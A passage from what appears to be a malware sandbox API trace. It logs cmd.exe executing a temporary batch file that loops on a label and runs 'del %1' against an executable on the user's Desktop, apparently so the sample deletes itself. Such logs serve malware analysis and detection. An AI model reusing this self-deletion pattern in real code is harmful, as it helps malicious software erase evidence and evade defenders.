nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.576] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x761d0000 [0088.576] GetProcAddress (hModule=0x761d0000, lpProcName="CopyFileExW") returned 0x7620ac6c [0088.576] GetProcAddress (hModule=0x761d0000, lpProcName="IsDebuggerPresent") returned 0x76213ea8 [0088.577] GetProcAddress (hModule=0x761d0000, lpProcName="SetConsoleInputExeNameW") returned 0x76222732 [0088.578] _wcsicmp (_String1="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"", _String2=")") returned -7 [0088.578] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"") returned 68 [0088.578] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"") returned 68 [0088.579] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"") returned 71 [0088.579] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"") returned 71 [0088.579] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"") returned 80 [0088.579] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"") returned 80 [0088.581] GetConsoleTitleW (in: lpConsoleTitle=0x1cf910, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.582] GetFileAttributesW (lpFileName="\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\"" (normalized: "c:\\users\\eebsym5\\desktop\\\"c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat\"")) returned 0xffffffff [0088.582] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0088.582] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0088.582] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0088.582] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0088.582] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0088.582] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0088.582] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0088.582] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0088.582] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0088.582] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0088.582] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0088.582] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0088.582] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0088.582] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0088.582] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0088.582] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0088.582] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0088.582] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0088.582] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0088.582] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0088.582] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0088.582] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0088.582] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0088.583] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0088.583] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0088.583] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0088.583] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0088.583] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0088.583] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0088.583] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0088.583] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0088.583] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0088.583] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0088.583] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0088.583] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0088.583] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0088.583] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0088.583] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0088.583] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0088.583] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0088.583] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0088.583] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0088.583] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0088.583] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0088.583] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0088.583] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0088.583] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0088.583] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0088.583] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0088.584] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0088.584] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0088.584] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0088.584] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0088.584] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0088.584] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0088.584] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0088.584] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0088.584] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0088.584] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0088.584] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0088.584] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0088.584] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0088.584] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0088.584] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0088.584] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0088.584] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0088.584] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0088.584] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0088.584] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0088.584] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0088.584] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0088.584] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0088.584] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0088.584] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0088.584] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0088.584] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0088.585] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0088.585] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0088.585] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0088.585] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0088.585] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0088.585] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0088.585] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0088.585] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0088.585] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0088.585] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0088.585] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0088.587] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0088.587] SetErrorMode (uMode=0x0) returned 0x0 [0088.587] SetErrorMode (uMode=0x1) returned 0x0 [0088.587] GetFullPathNameW (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x3c1ac8, lpFilePart=0x1cf430 | out: lpBuffer="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp", lpFilePart=0x1cf430*="Temp") returned 0x23 [0088.587] SetErrorMode (uMode=0x0) returned 0x1 [0088.588] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\.") returned 1 [0088.588] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.591] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.591] FindFirstFileExW (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", fInfoLevelId=0x1, lpFindFileData=0x1cf1cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf1cc) returned 0x3b0f70 [0088.592] FindClose (in: hFindFile=0x3b0f70 | out: hFindFile=0x3b0f70) returned 1 [0088.592] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0088.592] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0088.592] GetConsoleTitleW (in: lpConsoleTitle=0x1cf6a4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.592] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x76700000 [0088.595] GetProcAddress (hModule=0x76700000, lpProcName="SaferIdentifyLevel") returned 0x76722102 [0088.595] IdentifyCodeAuthzLevelW () returned 0x1 [0088.602] GetProcAddress (hModule=0x76700000, lpProcName="SaferComputeTokenFromLevel") returned 0x76723352 [0088.602] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0088.602] GetProcAddress (hModule=0x76700000, lpProcName="SaferCloseLevel") returned 0x76723825 [0088.602] CloseCodeAuthzLevel () returned 0x1 [0088.602] SetErrorMode (uMode=0x0) returned 0x0 [0088.602] SetErrorMode (uMode=0x1) returned 0x0 [0088.603] GetFullPathNameW (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", nBufferLength=0x104, lpBuffer=0x3b0c70, lpFilePart=0x1cf590 | out: lpBuffer="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", lpFilePart=0x1cf590*="18144644.bat") returned 0x30 [0088.603] SetErrorMode (uMode=0x0) returned 0x1 [0088.603] wcsspn (_String=" \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ", _Control=" \x09") returned 0x7 [0088.603] CmdBatNotification () returned 0x0 [0088.603] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.603] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.603] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.603] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.604] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.604] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.604] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x5e, lpOverlapped=0x0) returned 1 [0088.607] SetFilePointer (in: hFile=0x58, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0088.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=2, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\r\n") returned 2 [0088.607] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.607] GetFileType (hFile=0x58) returned 0x1 [0088.607] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.607] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0088.608] _tell (_FileHandle=3) returned 2 [0088.608] _close (_FileHandle=3) returned 0 [0088.608] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.608] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.608] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.608] SetFilePointer (in: hFile=0x58, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0088.608] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.608] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0088.608] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x5c, lpOverlapped=0x0) returned 1 [0088.608] SetFilePointer (in: hFile=0x58, lDistanceToMove=6, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6 [0088.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=4, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\x09\x09\r\n") returned 4 [0088.609] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.609] GetFileType (hFile=0x58) returned 0x1 [0088.609] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.609] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6 [0088.609] _tell (_FileHandle=3) returned 6 [0088.609] _close (_FileHandle=3) returned 0 [0088.609] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.609] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.609] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.609] SetFilePointer (in: hFile=0x58, lDistanceToMove=6, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6 [0088.609] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.610] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6 [0088.610] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x58, lpOverlapped=0x0) returned 1 [0088.610] SetFilePointer (in: hFile=0x58, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0088.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=2, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\r\n\r\n") returned 2 [0088.610] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.610] GetFileType (hFile=0x58) returned 0x1 [0088.610] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.610] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0088.610] _tell (_FileHandle=3) returned 8 [0088.610] _close (_FileHandle=3) returned 0 [0088.610] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.610] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.611] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.611] SetFilePointer (in: hFile=0x58, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0088.611] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.611] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0088.611] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x56, lpOverlapped=0x0) returned 1 [0088.611] SetFilePointer (in: hFile=0x58, lDistanceToMove=21, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0088.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=13, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\x09 :ktk \r\n") returned 13 [0088.611] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.611] GetFileType (hFile=0x58) returned 0x1 [0088.611] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.611] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0088.612] _tell (_FileHandle=3) returned 21 [0088.612] _close (_FileHandle=3) returned 0 [0088.612] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.612] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.612] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.612] SetFilePointer (in: hFile=0x58, lDistanceToMove=21, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0088.613] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.613] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0088.613] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x49, lpOverlapped=0x0) returned 1 [0088.613] SetFilePointer (in: hFile=0x58, lDistanceToMove=23, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17 [0088.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=2, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\r\n :ktk \r\n") returned 2 [0088.613] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.613] GetFileType (hFile=0x58) returned 0x1 [0088.613] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.613] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17 [0088.613] _tell (_FileHandle=3) returned 23 [0088.613] _close (_FileHandle=3) returned 0 [0088.613] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.613] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.613] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.614] SetFilePointer (in: hFile=0x58, lDistanceToMove=23, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17 [0088.614] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.614] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17 [0088.614] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x47, lpOverlapped=0x0) returned 1 [0088.614] SetFilePointer (in: hFile=0x58, lDistanceToMove=25, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19 [0088.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=2, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr="\r\n :ktk \r\n") returned 2 [0088.614] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.614] GetFileType (hFile=0x58) returned 0x1 [0088.614] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.614] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19 [0088.614] _tell (_FileHandle=3) returned 25 [0088.614] _close (_FileHandle=3) returned 0 [0088.615] CreateFileW (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1cf5d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0088.615] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0088.615] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.615] SetFilePointer (in: hFile=0x58, lDistanceToMove=25, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19 [0088.615] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.615] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19 [0088.615] ReadFile (in: hFile=0x58, lpBuffer=0x49fd6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1cf5b8, lpOverlapped=0x0 | out: lpBuffer=0x49fd6640*, lpNumberOfBytesRead=0x1cf5b8*=0x45, lpOverlapped=0x0) returned 1 [0088.615] SetFilePointer (in: hFile=0x58, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0088.615] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49fd6640, cbMultiByte=20, lpWideCharStr=0x49fdc640, cchWideChar=8191 | out: lpWideCharStr=" del \x09 %1 \r\n") returned 20 [0088.616] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.616] GetFileType (hFile=0x58) returned 0x1 [0088.616] _get_osfhandle (_FileHandle=3) returned 0x58 [0088.616] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0088.616] _wcsicmp (_String1="del", _String2=")") returned 59 [0088.616] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0088.616] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0088.616] _wcsicmp (_String1="IF", _String2="del") returned 5 [0088.616] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0088.616] _wcsicmp (_String1="REM", _String2="del") returned 14 [0088.616] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0088.619] _tell (_FileHandle=3) returned 45 [0088.619] _close (_FileHandle=3) returned 0 [0088.619] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1cf38c | out: _Buffer="\r\n") returned 2 [0088.619] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.619] GetFileType (hFile=0x7) returned 0x2 [0088.620] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.620] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf34c | out: lpMode=0x1cf34c) returned 1 [0088.620] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.620] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fe4640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1cf378, lpReserved=0x0 | out: lpBuffer=0x49fe4640*, lpNumberOfCharsWritten=0x1cf378*=0x2) returned 1 [0088.620] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0088.620] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fd5260 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.620] _vsnwprintf (in: _Buffer=0x49fd5e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1cf388 | out: _Buffer="C:\\Users\\EEBsYm5\\Desktop") returned 24 [0088.620] _vsnwprintf (in: _Buffer=0x49fd5e70, _BufferCount=0x3e6, _Format="%c", _ArgList=0x1cf388 | out: _Buffer=">") returned 1 [0088.620] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.620] GetFileType (hFile=0x7) returned 0x2 [0088.621] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.621] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf350 | out: lpMode=0x1cf350) returned 1 [0088.621] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.621] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x49fd5e40*, nNumberOfCharsToWrite=0x19, lpNumberOfCharsWritten=0x1cf37c, lpReserved=0x0 | out: lpBuffer=0x49fd5e40*, lpNumberOfCharsWritten=0x1cf37c*=0x19) returned 1 [0088.621] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.621] GetFileType (hFile=0x7) returned 0x2 [0088.621] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.621] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf5d4 | out: lpMode=0x1cf5d4) returned 1 [0088.622] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.622] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x3c2ef8*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1cf600, lpReserved=0x0 | out: lpBuffer=0x3c2ef8*, lpNumberOfCharsWritten=0x1cf600*=0x3) returned 1 [0088.622] _vsnwprintf (in: _Buffer=0x49fe4640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1cf60c | out: _Buffer=" \x09 